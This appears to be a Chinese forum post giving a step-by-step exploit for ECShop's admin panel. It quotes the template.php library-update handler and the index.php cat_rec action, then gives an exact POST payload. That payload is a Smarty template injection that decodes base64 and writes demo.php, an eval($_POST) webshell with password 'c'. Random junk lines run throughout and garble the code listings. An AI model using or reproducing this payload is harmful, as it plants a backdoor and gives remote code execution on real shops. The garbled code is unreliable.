Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

) g3 Y2 m$ w3 T) p1 F而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
# F' _4 v+ U" F& Q1 C3 \但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& F6 ]6 X! ^7 H5 Z; sadmin/template.php
. f& d) r( c& @. m& W! B& U
1 if ($_REQUEST['act'] == 'update_library')
3 v( O- g4 q4 h6 M# P
2   

! z& T3 B; X% ~" r7 @3 {

( c# h! V7 D' ]; A4     check_authz_json('library_manage');
. a, w# M: }. G* i2 b0 J' `
5   
, J& S# h" W5 A/ r; Z
* T( i; G% R& j7 K6     $html = stripslashes(json_str_iconv($_POST['html']));

0 ?1 ^* o  X8 }. k: l7   

' t9 S: I4 c: A0 V/ j% B3 V: g0 _8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

; U/ Q% J( D# U0 g9   
. v1 P: t) u% d
$ {- ?0 ^4 b2 ^9 K& J5 R8 `10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, o* k/ ^* S8 [6 Z
11   
* U  ^6 U9 A; p+ z
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. R5 c4 t+ k! s$ c0 Y
6 e! G" v- T, G" i) v13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
" K: d& T( Z+ \5 {
/ T7 h' M" V9 c. G! ^7 ^( ~16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# F: l+ |, r4 U9 |
* H/ d! Z5 ~5 N; p$ o17         make_json_result('', $_LANG['update_lib_success']);
* E4 I$ U3 v; p: \, D, W6 A
18     }
8 }8 J' j# C3 U- n
19     else

20     {
' N. I, s6 T+ b  ^
  M4 L! H! E( g; S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }
; Y1 ^; A4 c: f( \$ J) w8 ?
7 ^" z: p2 r" w4 Z& r& {那么找个比较方便调用了模板的文件
& p4 s" A3 n, w( D& I( Hindex.php

1 if ($act == 'cat_rec')
) h2 j8 A+ h  E9 g
6 o2 I7 q( |9 y2   

9 z9 s7 Z% N; A3 {
6 n) _% K8 |3 i( g/ K0 _4 d2 @
0 k; V1 Y& j& o7 }0 ]4   
- f5 Y4 E$ g+ @) i: N$ c+ k
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
$ w5 `; q" {+ e2 O
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

0 O; y1 m( X7 L+ M" a9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

: Q" ^9 f1 b( {10   
: b" C- N1 l' |) {" x
11     include_once('includes/cls_json.php');
! I% U9 `; G8 [; t' p) N
12   

) d! B! u) b" W' e: K13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 t1 c. n8 b6 E
2 d" @% \% j' K( `. q% t0 m16   
1 e  Y# ]5 c2 w% z7 ?
, C9 j- s8 G8 Z& p) p2 k17     $children = get_children($cat_id);
1 c3 M5 X1 O- t9 l' ^
18   

; U* l4 b; x! ~; D19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( e" T+ n. M( _' L
20   

21     $smarty->assign('cat_rec_sign', 1);

% Z9 j. X% n, ?( u6 p* g0 F22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

; }1 ~6 S) X6 `. Z9 D% [$ j% ?25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

) a9 z# ^  |6 z5 A26   

4 p. _" \! f0 t: f4 L6 Q: \27         echo $rec_array[$rec_type];
4 `% R/ f9 `0 k4 V, s( X
+ M, y- {( c' L4 b: p2 L28   
4 O- T6 v) W: ]. T) Z8 y9 E0 h! w+ F
29     die($json->encode($result));
* A; ?. s& m; [7 K1 k' p) i
30   

31 }
4 e* D; ~; R4 a' {) O) Y7 ~
# z1 N+ y. u' L4 g3 S* c那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
. z. P5 B1 y$ E' n  |# D5 XPost内容：

, O" {4 c6 t: _" q' Z; O​
1 e! q2 s4 u% b1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. V' }6 N" J# D; h( x
2 b3 E+ z0 L* x$ K8 i. j& d然后访问http://localhost/ec/index.php?act=cat_rec
& l& H# `! G- [. j/ _; b2 H$ a
# K4 j- K* c2 l% @shel地址：http://localhost/ec/demo.php
密码c

# V; E+ g" ]9 f$ T1 J* x